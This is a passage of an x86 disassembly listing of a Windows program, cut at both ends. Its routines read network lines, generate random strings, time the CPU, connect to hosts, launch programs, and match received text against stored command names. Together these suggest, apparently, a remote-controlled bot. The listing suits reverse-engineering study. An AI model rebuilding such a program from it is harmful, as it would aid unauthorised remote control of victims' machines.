		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	near ptr 2810000h
		nop
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0CD4h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E5C
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E64
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E80
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E7C
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E78
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E74
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E6C
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E68
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 27F043Fh
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
